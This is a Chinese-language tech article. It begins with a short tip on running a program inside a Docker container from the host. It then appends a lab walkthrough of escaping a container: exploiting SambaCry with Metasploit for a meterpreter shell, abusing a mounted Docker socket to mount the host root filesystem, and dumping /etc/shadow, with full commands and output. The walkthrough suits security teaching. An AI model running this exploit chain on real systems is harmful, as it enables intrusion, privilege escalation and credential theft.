在宿主机上执行docker容器内部的shell或程序方式

站长资源 2024/12/23 佚名

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为了避免反复进入docker容器内部操作，可以将一系列容器内部的指令由宿主机来操作完成。

在宿主机（作者主机为windows7）上执行centos容器（name为centos-1）中/usr目录下的“printer”可执行程序，该程序输出为打印“123”。

C:\Users\Administrator>docker exec -it centos-1 /bin/bash -c "cd usr && ./printer" 123

成功。

补充知识：利用Docker容器的不安全部署获取宿主机权限

前言

滥用容器（ container）及逃逸的方法有多种，本文将讨论最基本的一种，即滥用docker socket来逃逸容器并在宿主机上以root身份执行代码。

实验环境设置

由于我们将使用容器，因此你必须安装docker。

创建网络

首先，我们在创建容器的地方创建一个docker网络：

docker network create pwnage

启动易受攻击的容器

在本示例中，我将使用受SambaCry漏洞（CVE-2017-7494）影响的容器。有关该漏洞的更多信息，可以参阅opsxcq/exploit-CVE-2017-7494。

此漏洞允许你在Samba服务器中远程代码执行，我们将docker socket添加到容器中，以下是一个滥用docker的示例。

docker run --rm -it     --name vulnerable     --network pwnage     -v '/var/run/docker.sock:/var/run/docker.sock'     vulnerables/cve-2017-7494

启动攻击机

实验环境设置完成后，接下来我们需要将攻击者的主机添加到网络中。Samba Cry存储库中有一个漏洞利用代码，但这里我将使用Metasploit，因为它更容易上传我所需的内容。

我已经为此构建了一个映像，只需运行bellow命令，所有内容都将根据实验环境需要运行：

docker run --rm -it     --network pwnage     -v '/usr/bin/docker:/docker:ro'     strm/metasploit

加载完成后，你将看到如下界面。

攻击利用

信息收集

在任何攻击或测试中，信息收集都是必不可少的一个环节。因此，让我们先来ping下易受攻击的容器检查下当前的连接情况。

ping -c 2 vulnerable

如果一切正常，你应该能看到以下输出信息。

msf5 > ping -c 2 vulnerable 
[*] exec: ping -c 2 vulnerable 
 
PING vulnerable (172.20.0.2) 56(84) bytes of data.
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 time=0.120 ms
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 time=0.097 ms
 
--- vulnerable ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 0.097/0.108/0.120/0.015 ms

然后，我们进行基本的smb共享枚举：

use auxiliary/scanner/smb/smb_enumshares
set rhosts vulnerable
run

输出结果如下：

msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set rhosts vulnerable
rhosts => vulnerable
msf5 auxiliary(scanner/smb/smb_enumshares) > run
 
[+] 172.20.0.2:139    - data - (DS) Data
[+] 172.20.0.2:139    - IPC$ - (I) IPC Service (Crying samba)
[*] vulnerable:      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

可以看到，这个samba服务器中有一个名为data的共享。

获取shell

下一步我们要做的是，针对宿主机运行漏洞利用程序获取shell。在Metasploit中，该漏洞名为is_known_pipename，位于exploit/linux/samba/is_known_pipename。

运行bellow命令攻击宿主机：

use exploit/linux/samba/is_known_pipename
set RHOST vulnerable
set RPORT 445
set payload linux/x64/meterpreter/bind_tcp
set TARGET 3
set SMB_FOLDER data
set SMBUser sambacry
set SMBPass nosambanocry
exploit

如果一切顺利，你将获取到一个meterpreter shell。如下：

msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOST vulnerable
RHOST => vulnerable
msf5 exploit(linux/samba/is_known_pipename) > set RPORT 445
RPORT => 445
msf5 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf5 exploit(linux/samba/is_known_pipename) > set TARGET 3
TARGET => 3
msf5 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER data
SMB_FOLDER => data
msf5 exploit(linux/samba/is_known_pipename) > set SMBUser sambacry
SMBUser => sambacry
msf5 exploit(linux/samba/is_known_pipename) > set SMBPass nosambanocry
SMBPass => nosambanocry
msf5 exploit(linux/samba/is_known_pipename) > exploit
 
[*] vulnerable:445 - Using location \\vulnerable\data\ for the path
[*] vulnerable:445 - Retrieving the remote path of the share 'data'
[*] vulnerable:445 - Share 'data' has server-side path '/data
[*] vulnerable:445 - Uploaded payload to \\vulnerable\data\shyyEPPk.so
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using \\PIPE\/data/shyyEPPk.so...
[-] vulnerable:445 -   Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using /data/shyyEPPk.so...
[-] vulnerable:445 -   Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] Started bind TCP handler against vulnerable:4444
[*] Sending stage (816260 bytes) to vulnerable
 
meterpreter >

提权

我们将通过滥用容器内可用的docker socket来提权。由于docker在宿主机上是以root身份运行的，因此它也具有root权限。我们可以滥用它来执行多项操作。例如，使用—privileged选项可以为我们提供许多扩展功能，以下是从docker官方文档中提取的解释文本：

默认情况下，Docker的容器是没有特权的，例如不能在容器中再启动一个容器。这是因为默认情况下容器是不能访问任何其它设备的。但是通过”privileged”，容器就拥有了访问任何其它设备的权限。当操作者执行docker run —privileged时，Docker将拥有访问主机所有设备的权限，同时Docker也会在apparmor或者selinux做一些设置，使容器可以容易的访问那些运行在容器外部的设备。

你可以使用—device选项访问设备。但在本示例中，我将映射toor文件系统 (/) 到容器中并访问它。

由于此容器中没有docker客户端，因此下一步我们要做的就是在目标容器中设置docker客户端及其依赖项。你只需运行以下命令，即可完成所有这些操作。

upload /docker /docker
upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
chmod 777 /docker
chmod +x /docker
meterpreter > upload /docker /docker
[*] uploading : /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] uploaded  : /docker -> /docker
meterpreter > upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploading : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] Uploaded -1.00 B of 38.47 KiB (-0.0%): /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploaded  : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
meterpreter > chmod 777 /docker
meterpreter > chmod +x /docker
meterpreter >

现在，我们就可以使用docker来访问宿主机上的文件系统了。\

execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"

我们来转储下本地用户的哈希，输出结果如下：

meterpreter > execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
Process 113 created.
Channel 13 created.
root:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7:::
daemon:*:17488:0:99999:7:::
bin:*:17488:0:99999:7:::
sys:*:17488:0:99999:7:::
sync:*:17488:0:99999:7:::
games:*:17488:0:99999:7:::
man:*:17488:0:99999:7:::
lp:*:17488:0:99999:7:::
mail:*:17488:0:99999:7:::
news:*:17488:0:99999:7:::

以上这篇在宿主机上执行docker容器内部的shell或程序方式就是小编分享给大家的全部内容了，希望能给大家一个参考，也希望大家多多支持。

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